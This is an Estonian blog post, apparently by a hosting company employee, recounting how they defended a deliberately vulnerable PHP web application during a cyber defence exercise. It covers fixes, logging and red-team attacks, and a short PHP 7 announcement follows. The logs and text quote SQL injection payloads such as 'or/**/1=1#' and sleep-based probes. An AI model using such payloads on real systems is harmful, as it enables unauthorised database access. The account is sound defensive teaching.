Teise päeva lõpuks tundus asi juba täiesti kontrolli all olevat. Toimetasin serveris rahulikult ringi, otsisin vigu, parandasin neid ning tegin koopiaid (vahetult enne võistlust tehti kõikidele süsteemidele initsialiseerimine ja parandused oleksid kaotsi läinud), kui monitooringu poolelt tuli äkki teade, et sellessamas masinas istub mingi beacon. Läksin ja vaatasin, tõepoolest olid monitooringus näha kummalised payloadid C&C serverisse.

Vasak silm hakkas tõmblema.

Päev 0

Esimene õppusepäev oli samuti harjutuspäev. Nüüd olid kõik süsteemid lõplikul kujul üleval ja saime nendega kuni õhtuni toimetada, mil need seekord juba viimast korda initsialiseeriti. See muidugi tähendas, et ka minule määratud üllatusrakendus oli masinas olemas.

Esialgu paistis see olevat tavaline PHP+MySQL veebirakendus, kuid ühes kaustas asusid veel mingid shelli skriptid ja teises asus midagi, mis paistis nagu Pythoni deemon. Juba põgusa pealevaatamise alusel võis hinnata, et rakendus oli kõikvõimalikke auke täis. Mis polnud ka ime, arvestades, et rakendus oligi kirjutatud spetsiaalselt selle võistluse jaoks.

Esimese asjana võtsin ette PHP koodis SQL-injectionid. Neid oli muidugi igat sorti, osaliselt olid koodis SQL argumendid töödeldud addslashes funktsiooniga SQL päringu stringi sees, osaliselt pandi $_REQUEST muutujast tulevad väärtused lausesse otse (injection!), osaliselt kasutati custom töötlemisfunktsioone, mis kasutasid muidu küll addslashes’it, aga tagastasid tulemusest vaid fikseeritud pikkusega osa (peidetud injection!), mis omakorda oleks võimaldanud stringe lõpetada tagurpidi kaldkriipsuga.

Joonis 1.  Kui $user_id oleks string, tuleks sealt eemaldada kõik, mis võimaldab kavandatud SQL lausest välja hiilida, täisarvu puhul oleks õigem teha kohe intval($user_id). addslashes() on turvalisema mysqli_real_escape_string() asemel kasutusel kuna maandas enamuse riskist, oli lihtsam lisada ja võimaldas seetõttu suurema hulga koodi üle käia. Päris-elus tuleks võtta kasutusele PDO ja prepared statement. Selles kiiruga tehtud paranduses on muideks üks kala sisse jäänud  😉

Parandasin seejärel kõikvõimalikke muid koodi ja konfiguratsioonivigu. Küll oli vales kaustas lubatud valet tüüpi faile käivitada kui PHP’d (kirjutasin uued .htaccess reeglid kõikide kaustade jaoks), küll olid pildifailid PHP koodi täis (kirjutasin hex editoriga nendesse uue koodi), kõikvõimalikud tmp ja puhvri kaustad asusid web root kaustas ning olid muidugi ka veebist loetavad. Siis veel mitmel eri viisil koodi käimatõmbamine valest failist (ehk include $_REQUEST[‘page’];), veebist loetavad konfiguratsioonifailid (MySQL konto andmed!), kasutaja sessiooni andmete muutmine cookie kaudu jne.

Sinna juurde veel vead Apache enda konfiguratsioonis (täiendav rivi faililaiendeid, mida käivitati PHP koodina, lahtine cgi-bin, server-status jmt), eelinstalleeritud cron, kummalised PHP seaded (aegunud sessioonide GC oli välja lülitatud) jmt. Päeva lõpuks tundsin juba end päris hästi, paistis, et kõik on kontrolli all.

Joonis 2. Kui oled lasknud oma serveri üle võtta, tasub kahelda kõiges. Ükshaaval selliste pisimuudatuste otsimine on võimatu – turvalisem on kõik-kõik-kõik asendada originaalide või oma koostatuga. Ning jälgida, et süsteem ikka tõesti võtab konfifaile sealt, kust sina arvad.
Päev 1.

Algas esimene tegelik õppusepäev, kõik süsteemid olid taastatud jälle algseisu ning meile anti pool tundi peale mängude käivitamist, et oma parandused süsteemis ära teha. Kuna automaatsete parandustega tekkis mingi jama, lükkasin oma veebirakenduse muudatused üles kiirelt käsitsi. Kontrollisin, kõik töötas, läksin võtsin kohvi.

36 minutit ja 6 sekundit peale mängude algust lendas peale esimene rünnak, mis kohe ka õnnestus. Rakenduse veebilehelt vahtis vastu “Peace Brigade is here” sõnum, maatriksi rohelised kukkuvad sümbolid taustal. Suu kukkus lahti, mul oli kõik ju kontrolli all?

Tuli välja, et muidugi ei olnud asjad kontrolli all. Olin ära unustanud templiidifailid põhjalikult üle käia. Kuigi osa html koodi escape’imist tegin ära juba PHP koodi poolel, siis põhitöö käis templiitides. Midagi olin nagu teinud, aga ilmselt mitte piisavalt. Ahvikiirusel käisin siis kõik templiidifailid läbi ja toppisin escape filtreid täis ning kirjutasin baasis muudetud kirjed üle, et defacementi eemaldada.

Päris korda kohe kõike ei saanud, veidi läks veel neidsamu defacemente läbi ning lisaks õnnestus mul osad templiidid nii ära rikkuda, et osa funktsionaalsusest enam ei töötanud, kuna templiiti ei saanud laadida. Parandasin süntaksivead ükshaaval ära ning tundus, et kõik on jälle kontrolli all.

Kell 13:00 hakkas teine faas ning sellega koos hakkasid laekuma SQL-injectioni katsed. Nendega paistis siiski kõik korras ning kasutajad nimega 1=1 sisse logida ei saanud.

Joonis 3. Syslog ei pruugi olla küll kõige mõistlikum koht… aga hädaga ajab kiirema asja ära. Allpool loginäide lihtsamat sorti SQLi’st:
Apr 26 10:09:45 scheduler[9524]: url=/admin/login.php message=Login failed for "or/**/1=1# session=[]
Apr 26 10:09:45 scheduler[9524]: url=/admin/login.php error=Wrong username or bad password session=[]

Veel 10 minutit hiljem hakkasid tuvastamata põhjustel toimuma anomaaliad. Kõigepealt tekkisid vead rakenduse näitamisel, ilmnes et kettaruum on otsa saanud. Kettaruumi oli ära kulutanud /tmp kaustas asuv hiigelsuur fail. Vaatasin seda less’iga ja nägin vaid suurt kogust nullbaite.

Siis juba ilmnesid probleemid baasiga. Või õigemini selle puudumisega, keegi oli nimelt kell 13:41 andmebaasi ära kustutanud. Lisaks ilmselgele probleemile – veebikasutajal oli õigus kutsuda välja DROP DATABASE, mis sai käigu pealt ka parandatud, oli ikkagi küsimus, et kuidas?

Taastasime baasi backupist.

Mõne aja pärast hakkas veebirakendus näitama out of memory veateateid. Tuli välja, et baas oli jälle läinud. Seekord küll mitte täielikult (polnud enam kustutamise õiguseid), vaid tabelid olid tühjaks tehtud, va. üks mis oli täis gigabaitide jagu x tähti (selleks andis võimaluse tõsiasi, et viimne kui üks tekstiväli andmebaasis oli TEXT tüüpi). PHP rakendus proovis kõiki neid ridu ühte massiivi sisse lugeda ja sellest ka veateade.

Taastasime baasi backupist.

Nüüd läks asi päris hulluks. Otsustasin teada saada, et kuidas see kustutamine juhtub ning hakkasin kõikvõimalikku logimist peale keerama. Viga parandada ei proovinud, kuna ei teadnud, et kust otsida. Selle asemel lootsin saada uutest rünnakutest piisavalt palju infot, et auk selle kasutamise järgi üles leida.

Joonis 6. Tavapäraselt jookseb veebiserveri logisse päring – ja GET-päringu puhul ka parameetrid. POST-päringu body’s olevad parameetrid, aga ka küpsised jms, jäävad peitu. Nende logimiseks saab kasutada nt Mod Security’t, aga kui on kiire, tuleb leiutada. Igas rakenduses on mingi konfifail, mis laetakse igal päringul – see on ideaalne koht oma logimislahendusele… ja pilt on lõigatud ära realt, kust algas kaitsemeede.

Keegi kustutas baasi ära, meie lasime selle kohe tagasi ja nii mitmeid kordi. Lõpuks hakkas tekkima failidesse pahaseid sõnumeid, et tegeleme cheatimisega. Mõtlesin, et võiks kuidagi vastata, aga ei viitsinud. Sest lõpuks oli eesmärk käes, sain piisavalt infot, et mis toimub. Paraku kaasnes sellega ka 250 miinuspunkti, sest pidev taastamine kohtunikele ei meeldinud.

See keegi kasutas rakendust ennast webshellina. Saatis sinna kodeeritud pakette, mis tõmmati mingil viisil PHP koodina käima. Päris hästi ei saanud aru, et kuidas see mehhanism töötab, aga paha payload oli kätte saadud ning panin sisenemisaugu kinni, nii et seda rohkem käivitada ei saaks.

Joonis 4. Veebirakendus endiselt töötab

Ma ei hakka siinkohal avaldama, et kuidas webshell täpselt töötas, kuna hammustasin selle lahti alles peale võistlust. Võistluse ajal sain vaid aru, et payload on base64 kujul mingisugune läbu, olid omad kahtlused selle sisu formaadi kohta, aga päris kindel ei olnud. See jõudis rakenduseni ja seal siis mingi asi võttis payloadi lahti ja pani käima.

“Aga miks te lihtsalt päringu parameetreid ei filtreerinud?” Kui pahalane on sinu koodis sees, siis võib ta mõelda välja lõputult lahendusi, kuidas see kood saab oma peremehega suhelda. Oleme kavalad ja teeme intval($some_id) – aga võibolla tilguvad käsud sisse selle sama ID järjestikuste väärtustena? Ainus lahendus on tagauks üles leida, ideaalmaailmas tehes totaalse code-review… piiratud ressursi puhul tuleb logida ja leppida sellega, et mõned ründed läbi pääsevad.

Vaikselt hakkas ka paranoia tekkima. Iga nurga tagant paistsid punaste kõrvad:

Mul on siin mingid kummalised OPTIONS päringud. JA NEED TULEVAD LOCALHOSTIST!
Need on monitooringupäringud
Aa okei, hea küll

Päeva lõpus prooviti veel üht auku, mis oli pool-lahti. St. et saadi käima tõmmata PHP funktsioone, kuid selleks funktsiooniks, mida käima prooviti saada, oli system (kusjuures jälle läbi templiidisüsteemi, aga teise augu kaudu), mis oli Linuxi adminni poolt just 5 minutit tagasi ära keelatud. Seega ei läinud see funktsioon käima ning suutsin vastava augu ka kiirelt kinni panna, et teisi funktsioone proovida ei saaks.

Kui kell viis mängu võrk kinni pandi oli kergendus suur, aga tunne oli pigem positiivne, kõik paistis olevat kontrolli all. Õhtul võtsin koodi kodus ette ja käisin templiidid veel korralikult üle, et kõik oleks korralikult escape’itud.

Päev 2.

Esimese asjana uuendasin koodifailid ära, et oleks kõik kindel. Paraku hakkasid üsna pea samad jamad peale nagu eelminegi päev. Andmebaasi ilmus kummaline rida uue kasutajaga, kellel olid märgitud rakenduse adminni õigused. Toimusid mingid anomaaliad. Tundus, et midagi oli selle templiidisüsteemiga endiselt väga valesti. Käisin järgmiseks üle koodi poole, kus templiiti välja kutsuti ning eemaldasin kõik templiidile edastatavad muutujad, mida polnud hädasti vaja. See paistis aitavat, anomaaliad kadusid. Tagantärgi selgus, et olin õhtuste parandustega vana augu uuesti lahti teinud.

Üsna pea tekkisid katsed kasutaja õiguste eskaleerimiseks, kus küpsise abil üritati sättida endale selliseid sessiooni andmeid, mida tegelikult ei olnud. Seda võimaldav viga oli juba ammu parandatud ja seega üritus läbi ei läinud.

Küll aga olid endiselt alles tegelikult juba eelmisel päeval välja tulnud probleemid õigustega – kasutajad said teha rohkem, kui neil oli lubatud. Meetodite autoriseerimiskontrollid olid nõrgad (adminnile ette nähtud tegevusi sai teha ka tavakasutaja) või puudusid üldse (igaüks kes oskas õige päringu koostada sai tegevust läbi viia). Ning seda muidugi kasutati ka ära. Õnneks sain nende aukude puhul kiirelt jaole ja muutsin käsitsi muudetud andmed tagasi, seekord me andmebaasi taastamist ei teinud.

Mingi hetk läks juba igavaks, kõik teadaolevad augud olid kinni, mis andis võimaluse minna üle ofensiivsemale taktikale. Kuna mul oli logimine päris hästi paigas, oli reaalajas ülevaade, et mis parasjagu rakenduses toimub ja kes seal toimetab, tuvastasin kahtlase liikluse kohe selle tekkimisel.

Kohe kui ründaja midagi teha üritas, tegin oma liigutused vastu. Ründaja registreeris uue konto. Mina kustutasin selle konto baasist ära ja tegin PHP sessiooni kausta tühjaks. Ründaja tegi uue konto. Mina kustutasin ära. Ja nii väga palju kordi. Vahepeal lasin ka veidi toimetada, vaatasin, et millega tegeleb, aga esimese POST päringu peale lendas konto jälle minema. See ei olnud mingil viisil skriptitud, tegin kõike käsitsi.

Ühel hetkel aga hakkas üks “päris” kasutaja kurtma, et tal ei õnnestu uude kontosse sisse logida, mille tagajärjel pidin oma hoogu maha tõmbama. Hiljem tuli välja, et kuna punastel konto loomine minu vastutegevuse tõttu (millest nad ei teadnud) ei õnnestunud, palusid nad seda proovida ühel “päris” kasutajal ning kuna see sattus ajaliselt ja välimuselt kokku punaste tegevusega, arvasin, et ka see “päris” kasutaja on punane ja kustutasin ka tema kontod ära. Üldine arvamus punaste poolel oli, et tegeleme cheatimisega, taastame cronist baasi iga hetke tagant ning peaksime saama miinuspunkte. See siiski ei olnud nii ja õnneks miinuspunkte ka ei saanud.

Punaste kahjuks ja minu õnneks oli tava-trafficu genereerimine korraldajate poolt üsna kehval järjel või puudus üldse, mis andis kogu punaste tegevuse mulle selleks hetkeks nagu peo peal ette. Nemad arvasid, et tegutsevad suitsukatte all, mina aga vaatasin seda tegevust sisuliselt läbi suurendusklaasi.

Joonis 5. Tüüpiline monitooringuvaade veebirakenduse staatusest võistluse ajal

Päris lõpus keskendusid põhirünnakud juba muude süsteemide vastu, veebi poolel midagi põrutavat ei toimunud. Üritati vahelduva eduga mingeid lihtsamaid SQL-injectioneid stiilis id=sleep(1337) ning ka skriptifailide üleslaadimist, aga kui midagi osaliselt kehvade õiguste kontrolli tõttu läkski läbi, sain sellise augu momentaalselt elimineeritud, nii et ründaja ei saanud ilmselt arugi, kui tal miski õnnestus.

Tulemus

Veebiosa lõpptulemus oli väga hea, kuna punased suutsid püstitatud eesmärkidest meie vastu saavutada vaid üksikud. Peetri asjadest ei saadud vist üldse läbi ja minul olid need mõned custom rakenduse augud, millest läbi saadi. Väga suur osa selles tulemuses oli ka Linuxi adminnidel, tänu kellele sai leitud mitmeid konfiguratsiooniauke ning kes aitasid rakendusi kogu selle aja püsti hoida. Oli väga hea tiimitöö ning tulemus oli ka näha, sest meie võistkond sai kokkuvõttes teise koha, kaotades üldvõitjale väga napilt.

Ühtepidi oli muidugi kahju, et võistlus läbi sai, aga nii intensiivset koormust taluda ei oleks enam väga kaua suutnud. Kokkuvõttes võib öelda, et sellised õppused on väga vajalikud, kuna reaalse ründesituatsioonita võib ju teoretiseerida, et kuidas end kaitsta, aga kui käsi tegelikult mustaks ei tee, siis see jääbki ainult teooriaks. Õppisin nädalaga rohkem, kui muidu aastaga ja see vist oligi kogu asja eesmärk. Mission accomplished.

Järjejutu kõik osad:

PHP 7 on kohal!

php7_300x152

Viimati laulsime siin blogis PHP 7. versioonile hoosiannat siis, kui esimese Release Candidate versiooni oma platvormi lisasime. Täna on mul hea meel teada anda, et PHP 7 on “valmis saanud” ja neil, kel on ühilduv veebileht, hea võimalus see kuni 2x kiiremaks teha.

PHP režiimi vahetamine on võimalik "Minu Zone" haldusliidese vahendusel.
PHP režiimi vahetamine on võimalik “Minu Zone” haldusliidese vahendusel.

PHP 7-ga töötavad juba mitmed sisuhaldussüsteemid ja arendusraamistikud, sealhulgas näiteks WordPress 4.3, Drupal 8, Symfony jt. Hoopis teine lugu võib loomulikult olla erinevate teemade või pluginatega, seetõttu ei maksaks ettevaatlikkust päris unustada. Kannatlikud võiks olla Joomla kasutajad, sest PHP 7 tugi peaks saabuma versiooniga 3.5, mis omakorda ilmub järgmisel nädalal.

Neil, kes oma rakendusi ise ei värskenda ja ei kasuta ka Zone+ abil tehtavaid automaatseid uuendusi, tasub samuti oma järsult tekkinud tegutsemisjanu ohjata. Kui ikka tarkvara versiooninumber on mitu põlvkonda aktuaalsest maas, siis kohe ei maksa PHP režiimi vahetama tormata. Tuleks eelnevalt oma rakendused kaasaega tuua.

Tarkvaraarendajatel tasuks loomulikult heita pilk peale asjadele, mis on muutunud ja leida oma loomingus esinevatele ühilduvusprobleemidele elegantsed lahendused 🙂